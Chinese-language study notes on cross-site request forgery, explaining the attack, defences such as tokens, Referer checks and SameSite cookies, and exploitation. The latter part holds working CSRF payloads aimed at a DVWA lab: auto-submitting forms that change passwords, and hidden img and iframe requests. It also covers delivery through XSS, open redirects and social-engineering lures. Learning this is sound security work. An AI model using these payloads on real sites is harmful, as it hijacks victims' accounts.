csrf-跨站請求偽造
攻擊者挾持你的身份憑證,以你的名義發起惡意的請求
簡單來說,CSRF必須經過兩個步驟:
- 用戶訪問可信任站點A,並產生了相關的cookie;
- A站點的cookie仍有效,用戶在訪問危險站點B時,發起了對A站點的偽造請求;
大家同時訪問多個網站是很正常的事情,所以也很容易遭到CSRF的攻擊。
舉例
以改密碼為例,改密碼本質是發一個包含新密碼的表單請求給接口
攻擊者構造好一個有隱藏的自動提交表單的頁面,誘使受害者訪問后,表單自動提交,瀏覽器帶着接口域名的cookie,即你的身份憑證,發起了有改密碼功能的請求給接口,接口如果只驗證該請求是否帶證明(cookie),則密碼會被成功修改
談防御-與正常請求對比
與正常請求相比,csrf的請求的不同之處
- Referer不同:Referer的作用是告訴后端,該請求從哪里/哪個頁面/哪個url發出,因為csrf的請求是攻擊者構造的,所以Referer來自於攻擊者控制的網站url,驗證此處是防御手段之一,但如果攻擊者同時有受害網站的xss,則可以xss-csrf結合,使Referer來自於受害網站,從而繞過驗證
- 沒有token:token可以理解成一個與cookie類似的參數,有證明的作用,token通常會在用戶正常瀏覽時,從后端返回給用戶的前端,當用戶進行敏感操作如改密碼時,會帶上此token,以驗證此請求來自於一個正常的用戶發起。token可以存在cookie中,也可以存在前端頁面中,通常是hidden的表單,請求時作為一個參數一起post提交
而因為csrf的請求通常來自於攻擊者偽造的頁面,如果沒有其他漏洞的配合,是沒有token的
開發角度防御csrf
https://www.cnblogs.com/hutuzhu/p/5919400.html
- 表單hash
- 驗證referer
- http頭自定義屬性驗證
- 關鍵操作加驗證碼
大殺器-Cookie SameSite屬性
服務端在設置 cookie 的時候,除了 cookie 的鍵和值以外,還可以同時給 cookie 設置一些屬性,例如:
Expires
Max-Age
Domain
Path
Secure
HttpOnly
SameSite
同站 (same-site) 請求 VS 跨站 (cross-site) 請求
一個 HTML 頁面既可以發起同站請求,也可以發起跨站請求。當請求目標的 URL 對應的 site 與頁面所在 URL 對應的 site 相同時,這個請求就是同站請求,反之就是跨站請求。
例如:
當 www.baidu.com 的網頁,請求 static.baidu.com 域下的圖片,這個請求屬於同站請求
當 a.github.io 的網頁,請求 b.github.io 域下的圖片,這個請求屬於跨站請求
這里要注意和同源策略里的 same origin 做一下區分。同源指的是同協議、同域名、同端口。同站只看 site 是否一致,不管協議和端口。所以同源一定同站,同站不一定同源。
SameSite 屬性
SameSite 屬性用來控制 HTTP 請求攜帶何種 cookie。這是通過它的三種值來實現:
None
Lax
Strict
對於 SameSite=Strict 的 cookie:只有同站請求會攜帶此類 cookie。
對於 SameSite=None 的 cookie:同站請求和跨站請求都會攜帶此類 cookie。
Lax 的行為介於 None 和 Strict 之間。對於 SameSite=Lax 的 cookie,除了同站請求會攜帶此類 cookie 之外,特定情況的跨站請求也會攜帶此類 cookie。
特定情況的跨站請求指的是:safe cross-site top-level navigations(后文簡稱:安全的跨站頂級跳轉),例如:
點擊超鏈接 <a> 產生的請求
以 GET 方法提交表單產生的請求
JS 修改 location 對象產生的跳轉請求
JS 調用 window.open() 等方式產生的跳轉請求
反過來,哪些跨站頂級跳轉是不安全的呢?例如:
以 POST 方法提交表單產生的請求
通過不同方式發起跨站請求,cookie 發送情況可以簡單總結為下表:
最后一行的 prerender 請求有些特殊,它也會攜帶 SameSite=Lax 的 cookie
利用方式
成功的利用需要受害者訪問有csrf poc的頁面,直接丟個鏈接給對方不現實,所以需要加點料
與受信域的xss配合
- 當前窗口跳轉
<script>window.location.href="http://www.baidu.com"</script>
- 新窗口跳轉,chrome會攔截
<script>window.open("http://www.baidu.com")</script>
- ajax直接發出請求
與url重定向配合
www.aaa.com/url.php?url=www.csrfPOC.com
社工
男發女
女發男
老發震驚
小發玩
打客服
burp POC+js自動提交表單
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form name="表名" action="http://192.168.146.130/dvwa/vulnerabilities/csrf/" method="POST">
<input type="hidden" name="id" value="admin" />
<input type="hidden" name="pass" value="admin123" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms.表名.submit();//自動提交表單
</script>
</body>
</html>
會顯示響應,受害者會第一時間發現
GET型csrf POC
img標簽
<img src="http://www.test.com/csrf.php?username=admin&pass=admin">
可以藏在一堆東西里
帶hidden屬性的iframe
<iframe hidden srcdoc='
<img src="http://www.test.com/csrf.php?username=admin&pass=admin">
'></iframe>
POST型csrf POC
利用iframe隱藏響應
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Welcome to CSRF</title>
</head>
<p style="color:blue; text-align:center; font-size:60px;">Your're by CSRF</p>
<body>
<!--hidden屬性使內聯框架iframe隱藏,這樣的CSRF隱蔽-->
<iframe hidden srcdoc='
<form name="dvwa" action="http://192.168.146.130/DVWA/vulnerabilities/xss_s/" method="POST">
<input type="hidden" name="txtName" value="csrf" />
<input type="hidden" name="mtxMessage" value="csrf" />
<input type="hidden" name="btnSign" value="Sign Guestbook" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms.dvwa.submit();
</script>
'></iframe>
</body>
</html>
ajax
不會,求大佬賜個poc